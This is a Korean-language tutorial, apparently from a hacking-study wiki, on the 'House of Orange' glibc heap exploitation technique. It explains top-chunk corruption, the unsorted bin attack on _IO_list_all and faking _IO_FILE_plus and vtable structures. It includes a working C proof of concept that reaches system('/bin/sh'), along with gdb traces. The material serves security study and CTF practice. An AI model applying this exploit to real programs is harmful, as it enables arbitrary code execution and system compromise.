...
Excuse the ads! We need some help to keep our site up.
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Top chunk 영역에 값을 저장 할 수 있어야 합니다.
- 공격자에 의해 Top chunk 의 값 보다 큰 값을 생성 할 수 있어야 합니다.
- 이로 인해 기존의 Top chunk는 Free chunk가 됩니다.
- 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
Add Free chunk to Unsorted bin
- 1개의 Heap 영역을 생성합니다.
- Top chunk 영역에 아래와 같은 조건을 만족하는 값을 덮어 씁니다.
- Top chunk + size는 페이지 정렬이 되어야 합니다.
- Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
- Ex) Top chunk : 0x20c01, Overwrite to value : 0xc00 + 0x1 = 0xc01
- Top chunk 영역의 값보다 큰 크기의 Heap 영역을 생성합니다.
- Malloc은 이 요청을 처리하기 위해 sysmalloc이 호출됩니다.
- sysmalloc()의 _int_free() 함수에 의해 "Top chunk - 0x8" 영역이 Unsorted bin에 등록됩니다.
- "Top chunk" 영역을 Free chunk 형태를 가집니다.
- Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
- Free chunk 영역에 "Fake struct _IO_FILE_plus", "Fake struct _IO_wide_data" 구조를 작성합니다.
- Fake "struct _IO_FILE_plus"
- _mode = '0' 보다 큰 값
vtable = "Fake vtable address"
_wide_data = "Fake struct _IO_wide_data"가 저장된 주소
Fake "struct _IO_wide_data"
Fake "struct _IO_FILE_plus"가 작성된 공간을 활용 할 수 있습니다.
_IO_flush_all_lockp() 함수에서 사용하지 않는 "fp"변수의 "_freeres_list", "_freeres_buf" 영역 다음과 같이 활용합니다.
- fp→_wide_data 변수에 fp→_offset의 주소 값을 저장합니다.
- fp→_freeres_list = _wide_data->_IO_write_ptr
- fp→_freeres_buf = _wide_data->_IO_write_base
- fp→_wide_data 변수에 fp→_offset의 주소 값을 저장합니다.
- Fake "struct _IO_FILE_plus"
- Unsorted bin attack
- Free chunk의 bk 영역에 "&_IO_list_all - 0x10" 값을 덮어 씁니다.
- Free chunk를 smallbin[4]에 등록하기 위해 Free chunk의 size 값을 변경합니다.
- 사용 가능한 크기 : 90 ~ 98
- 새로운 Heap 영역을 생성합니다.
- House of orange(?)
- _int_malloc() 함수에서 "_IO_list_all" 영역의 값을 "main_arena.Top" 영역 주소로 변경합니다.
- _int_malloc() 함수에서 smallbin[4] 영역의 값이 Free chunk 의 주소로 변경합니다.
- _int_malloc() 함수에서 메모리 손상으로 인해 _IO_flush_all_lockp() 함수를 호출합니다.
- _IO_flush_all_lockp() 함수는 변경된 "_IO_list_all"의 값(main_arena)을 사용하게 됩니다.
_IO_flush_all_lockp() 함수의 "fp = fp→_chain" 코드에 의해 fp 값이 변경됩니다.
- 변경된 fp의 값은 "Fake struct _IO_FILE_plus"의 시작 주소입니다.
- _IO_flush_all_lockp() 함수는 변경된 fp의 값을 이용해 _IO_OVERFLOW를 호출합니다.
_IO_list_all->vtable->_IO_overflow_t
- _IO_OVERFLOW : fp + 0x60(vtable) → + 0x18(_IO_overflow_t) = 호출할 함수의 주소
Explanation of vulnerability
Add Free chunk to Unsorted bin
- 다음과 같이 sysmalloc()에서 _int_free()를 호출해 Unsorted bin에 free chunk를 등록할 수 있습니다.
- Top chunk의 값보다 큰 크기의 Heap을 생성을 요청하면, _int_malloc() 함수는 sysmalloc()를 이용해 Heap영역을 확장합니다.
- sysmalloc()에서 _int_free()를 호출하기 위해 아래의 조건을 만족해야 합니다.
- Top chunk + size는 페이지 정렬이 되어야 합니다.
- Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); |
Unsorted bin attack
Info | ||
---|---|---|
| ||
Call _IO_flush_all_lockp()
- glibc의 _int_malloc()에서 메모리 손상을 탐지하고 다음과 같은 순서대로 함수를 호출합니다.
- _int_malloc() → malloc_printerr() → __libc_message → __FI_abort() → _IO_flush_all_lockp()
- "House of Orange"는 바로 _IO_flush_all_lockp() 함수를 이용해 원하는 함수를 호출합니다.
- 아래 코드의 조건문에 의해 malloc_printerr() 함수가 호출됩니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim); |
_IO_flush_all_lockp()
- 해당 함수에서 중요한 부분은 다음과 같습니다.
- line 785 : 해당 줄의 조건을 만족해야 "_IO_OVERFLOW()" 함수를 호출 할 수 있습니다.
line 792 : 해당 줄에서 호출되는 "_IO_OVERFLOW()" 함수의 주소 값을 변경하여 system() 함수를 호출 할 수 있습니다.
- line 806 : 해당 줄의 코드를 이용해 "fp" 변수에 Fake "_IO_FILE_plus"의 주소를 저장 할 수 있습니다.
- 공격을 위해 "fp" 변수의 값을 변경하는 이유는 다음과 같습니다.
Top chunk의 변경과 Unsorted bin attack을 이용해 "_IO_list_all" 값을 변경하였으나, 변경된 값은 main_arena의 주소 입니다.
즉, "fp" 변수에 저장된 값은 main_arena의 주소이며, 해당 값을 "fp = fp→_chain" 코드에 의해 Fake "_IO_FILE_plus" 주소로 변경할 수 있습니다.
- _IO_flush_all_lockp() 함수는 "fp" 변수에 저장된 주소 값을 기준으로 호출 할 _IO_OVERFLOW() 함수의 주소를 찾습니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
} |
Struct _IO_FILE_plus
"_IO_list_all" 변수는 "_IO_FILE_plus" 구조체를 사용합니다.
- "_IO_FILE_plus" 구조체는 아래와 같은 구조체를 포함합니다.
_IO_FILE
_IO_jump_t
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
extern struct _IO_FILE_plus *_IO_list_all; |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
}; |
struct _IO_FILE
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
}; |
struct _IO_jump_t
- 아래 구조체의 형태를 보면 이동할 각 함수주소 값을 저장하도록 되어 있습니다.
_IO_overflow_t 변수에 _IO_OVERFLOW() 함수의 주소 값을 저장하고 있습니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
}; |
struct _IO_wide_data *_wide_data
- 아래와 같은 조건을 만족하기 위해 해당 구조체의 이해가 필요합니다.
- 해당 구조체는 아래 코드의 _wide_data 변수에서 사용합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_wide_data *_wide_data |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}; |
Example
Files
Panel |
---|
Source code
Code Block |
---|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
top[24] = 1;
top[21] = 2;
top[22] = 3;
top[20] = (size_t) &top[18];
top[15] = (size_t) &winner;
top[27] = (size_t ) &top[12];
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
} |
Exploit flow
Panel | ||
---|---|---|
| ||
Debugging
- 다음과 같이 Break point를 설정합니다.
0x4005e3 : malloc() 함수 호출
0x40060e : malloc() 함수 호출
0x4006d9 : malloc() 함수 호출
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0x4005e3
Breakpoint 1 at 0x4005e3
gdb-peda$ b *0x40060e
Breakpoint 2 at 0x40060e
gdb-peda$ b *0x4006d9
Breakpoint 3 at 0x4006d9 |
- 다음과 같이 할당된 Heap의 크기와 Top chunk의 정보를 확인 할 수 있습니다.
- Top chunk : 0x20c01
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange
Breakpoint 1, 0x00000000004005e3 in main ()
gdb-peda$ ni
0x00000000004005e8 in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ x/2gx 0x602010 - 0x10
0x602000: 0x0000000000000000 0x0000000000000401
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400: 0x0000000000000000 0x0000000000020c01
gdb-peda$ |
- 다음과 같이 Top chunk 값을 변경해 Top chunk(0x602400)영역을 unsorted bin에 등록 할 수 있습니다.
- 다음과 같이 main_arena의 변화를 확인 할 수 있습니다.
...
할당 전
...
할당 후
...
0x602400
...
House of Orange
- House of Orange는 _int_malloc()이 메모리의 손상을 발견하여 에러 메시지를 출력하는 과정을 이용한 공격입니다.
- _int_malloc()는 요청된 메모리의 할당이 가능한 영역을 bins[]에서 찾지 못하면, 사용가능한 chunk가 있는지 unsorted bin에서 확인합니다.
- 그리고 Unsorted bin(bins[1])에 저장된 chunk의 크기를 확인하여, 메모리가 손상되었는지 확인합니다.
- 만약 해당 chunk가 손상되었다면 malloc_printerr()를 호출하여 에러 메시지를 출력합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim); |
- malloc_printerr()에서 출력되는 문장의 형태는 첫번재 인자 값(action)에 따라 달라집니다.
- action이 가지고 있는 값이 5와 같다면 str 변수에 저장된 문자열의 출력을 요청합니다.
- 그리고 그 값에 첫번째 bit가 설정되어 있다면 "*** Error in `%s': %s: 0x%s ***\n" 이와 같은 형태로 에러 메시지를 출력합니다.
- 첫번째 문자열은 프로그램의 경로, 두번째 문자열은 에러 메시지, 세번째 문자열은 메모리의 주소입니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message ((action & 2) ? (do_abort | do_backtrace) : do_message,
"%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';
__libc_message ((action & 2) ? (do_abort | do_backtrace) : do_message,
"*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
} |
__libc_message()는 malloc_printerr()으로 부터 전달 받은 에러 메시지의 내용을 출력합니다.
그리고 Backtrace, Memory map을 출력되고 이 어플리케이션을 종료하기 위해 abort()를 호출합니다.
Code Block | ||
---|---|---|
| ||
/* Abort with an error message. */
void
__libc_message (int do_abort, const char *fmt, ...)
{
...
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
} |
- abort()는 SIGABRT를 잠금 해제하고,모든 스트림을 비우기 위해 fflush()를 호출합니다.
- fflush()는 매크로 함수이며, 해당 함수는 _IO_flush_all_lockp()를 호출합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
/* Cause an abnormal program termination with core-dump. */
void
abort (void)
{
struct sigaction act;
sigset_t sigs;
/* First acquire the lock. */
__libc_lock_lock_recursive (lock);
/* Now it's for sure we are alone. But recursive calls are possible. */
/* Unlock SIGABRT. */
if (stage == 0)
{
++stage;
if (__sigemptyset (&sigs) == 0 &&
__sigaddset (&sigs, SIGABRT) == 0)
__sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
}
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
/* Send signal which possibly calls a user handler. */
if (stage == 2) |
Code Block | ||
---|---|---|
| ||
#define fflush(s) _IO_flush_all_lockp (0) |
- _IO_flush_all_lockp()는 "_IO_list_all"를 "fp"에 저장합니다.
- 그리고 "fp"가 "null"이 아니라면 while Loop의 본문 코드를 실행합니다.
- 해당 함수는 "fp->_mode"의 값이 0보다 작거나 같은지 확인하고 "fp->_IO_write_ptr"의 값이 "fp->_IO_write_base"의 값보다 큰지 확인합니다.
- 그리고 _IO_OVERFLOW()의 반환값이 EOF 같은지 확인합니다.
- 이렇게 모든 조건이 참이라면 "result" 변수에 "EOF"를 저장합니다.
- last_stamp의 값이 _IO_list_all_stamp의 값과 같다면 fp→_chain의 값을 fp에 저장되고 앞에 코드를 반복합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
} |
House of Orange에서 중요한 함수는 _IO_OVERFLOW입니다.
해당 함수는 매크로 함수이며 첫번째 인자는 fp, 두번째 인자는 문자 또는 EOF를 전달 받습니다.
해당 함수는 JUMP1()함수를 호출하며, 인자 값으로 __overflow와 _IO_OVERFLOW()에서 전달 받은 FP, CH를 전달합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* The 'overflow' hook flushes the buffer.
The second argument is a character, or EOF.
It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (_IO_FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) |
JUMP1()은 _IO_OVERFLOW()에서 전달 받은 FP를 THIS로 표기합니다.
- 그리고 해당 값을 _IO_JUMPS_FUNC()에 전달해서 THIS가 가지고 있는 vtable의 포인터를 반환합니다.
- JUMP1()은 해당 포인터에 저장된 함수를 호출하며, 호출 될 함수의 명은 FUNC를 통해 호출됩니다.
- _IO_OVERFLOW()는 FUNC의 값으로 __overflow를 전달했기 때문에 THIS가 가지고 있는 vtable에서 __overflow 함수를 호출하게 됩니다.
House of Orange는 _IO_list_all의 값을 변경하여 원하는 함수를 호출합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
# define _IO_vtable_offset(THIS) 0
#endif
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0) |
- House of Orange에서 알아야 할것은 _IO_list_all 변수의 구조에 대해 이해가 필요합니다.
- _IO_list_all는 _IO_FILE_plus 구조체를 사용하고, 해당 구조체 내에는 _IO_FILE 구조체를 가지는 file 변수와, _IO_jump_t 구조체를 가지는 *vtable 변수가 있습니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
extern struct _IO_FILE_plus *_IO_list_all; |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
}; |
_IO_FILE 구조체는 파일의 입력, 출력과 관련된 포인터와 정보들을 가지게 됩니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
}; |
- _IO_FILE 구조체는 vtable이며, 2번째 인자에 해당하는 함수를 JUMP_FIELD()라는 매크로 함수를 이용하여 호출 할 수 있습니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
}; |
House of Orange는 Top chunk의 prev_size, size, bk의 값을 덮어 쓸수 있어야되고, 해당 chunk에 데이터를 작성할 수 있을 경우 구현이 가능합니다.
- 공격자는 메모리 할당을 요청하고, Top chunk의 "size"가 가지고 있는 값을 매우 작은 값으로 덮어씁니다.
- 해당 값에는 PREV_INUSE flag가 추가되어야 합니다.
- Top chunk->size가 가지고 있는 값보다 큰 메모리의 할당을 요청합니다.
- 이로 인해 Arena의 메모리 영역이 확장되며, Top chunk의 주소도 변경됩니다.
- 이전 Top chunk는 fastbin의 크기보다 크기 때문에 Unsorted bin에 배치되고, Arena의 top의 주소가 fd,bk에 저장됩니다.
- _IO_list_all의 값을 변경하기 위해 "_IO_list_all"의 주소에서 16을 뺀 값을 Unsorted bin에 배치된 chunk의 bk에 저장합니다.
- 공격자는 fp->chain의 값을 변경하기 위해 호출할 함수의 첫번째 인자값(최대 8byte)을 "size"에 저장하고, 0x61을 "bk"에 저장합니다.
- "fp->_mode <= 0 && fp->_IO_write_ptr > fp→_IO_write_base" 조건을 우회하기 위해 Unsorted bin에 배치된 chunk의 주소를 기준으로 가짜 _IO_list_all(_IO_FILE, _IO_jump_t)을 작성합니다.
- "Unsorted bin에 배치된 chunk의 주소 + 0xC0"는 fp->_mode가 되고 0을 해당 변수에 저장합니다.
- "Unsorted bin에 배치된 chunk의 주소 + 0x20"는 fp→_IO_write_base가 되고 2를 해당 변수에 저장합니다.
- "Unsorted bin에 배치된 chunk의 주소 + 0x28"는 fp->_IO_write_ptr가 되고 3을 해당 변수에 저장합니다.
- "Unsorted bin에 배치된 chunk의 주소 + 0xd8"는 Fake _IO_jump_t가 되고 "Unsorted bin에 배치된 chunk의 주소 + 0x60"을 해당 변수에 저장합니다.
- 호출 할 함수의 주소를 Fake _IO_jump_t + 0x18에 저장합니다.
- Unsorted bin에 배치된 chunk의 크기보다 작은 크기의 메모리 할당을 요청합니다.
malloc()는 Unsorted bin에 배치된 chunk의 크기가 요청된 크기와 비적합하기 때문에 해당 chunk를 bins[4]에 배치합니다.
이로 인해 _IO_list_all의 값이 Arena→top의 주소로 변경됩니다.
bins[1]의 값은 "Arena→top의 주소"가 되지만, bins[1]->bk의 값은 0이 되기 때문에 malloc_printerr()가 호출됩니다.
- 다음과 같은 순서대로 함수를 호출합니다.
- malloc_printerr() → __libc_message() → abort() → _IO_flush_all_lockp()
- _IO_flush_all_lockp()은 _IO_list_all의 값이 Arena→top의 주소이기 때문에 fp->chain에 저장된 값을 fp에 저장합니다.
- fp->chain는 fp으로 부터 0x40byte 뒤에 위치하며, 해당 주소는 bins[10]의 주소입니다.
- 이로 인해 가짜 _IO_list_all의 주소가 fp에 저장되며, 조건문을 통과하여 Fake _IO_jump_t + 0x18에 저장된 함수를 호출합니다.
- 예를 들어 다음과 같이 공격자는 메모리를 1개 할당받고 Top chunk의 size값을 0xc01로 덮어씁니다.
- 이 값보다 큰 메모리 할당을 요청하면 Arena의 크기가 늘어나고, Top chunk가 Unsorted bin에 배치됩니다.
- 0x7ffff7dd2510(_IO_list_all(0x7ffff7dd2520) - 16)을 Unsorted bin에 배치된 chunk(0x602400)의 bk에 저장합니다.
- 함수에 전달할 첫번째 인자 값인 "/bin/sh"를 prev_size에 저장하고, size의 값을 0x61로 변경합니다.
- 2를 0x602420(fp→_IO_write_base)에 저장하고 , 3을 0x602428(fp->_IO_write_ptr)에 저장합니다.
- 그리고 0을 0x6024c0(fp->_mode)에 저장합니다.
- 0x602460을 0x6024d8(Fake _IO_jump_t)에는, 호출할 함수의 주소(0x4006e5)를 0x602470에 저장합니다.
- malloc()에 크기가 10인 메모리 할당을 요청하면, _IO_list_all의 값이 0x7ffff7dd1b78으로 변경되고, bins[10],bins[11]에 0x602400이 저장됩니다.
- _IO_flush_all_lockp()는 fp의 값이 0x7ffff7dd1b78이고 fp->_mode의 값이 0이 아니기 때문에 해당 if()를 종료하고 fp->chain(0x602400) 값을 fp에 저장합니다.
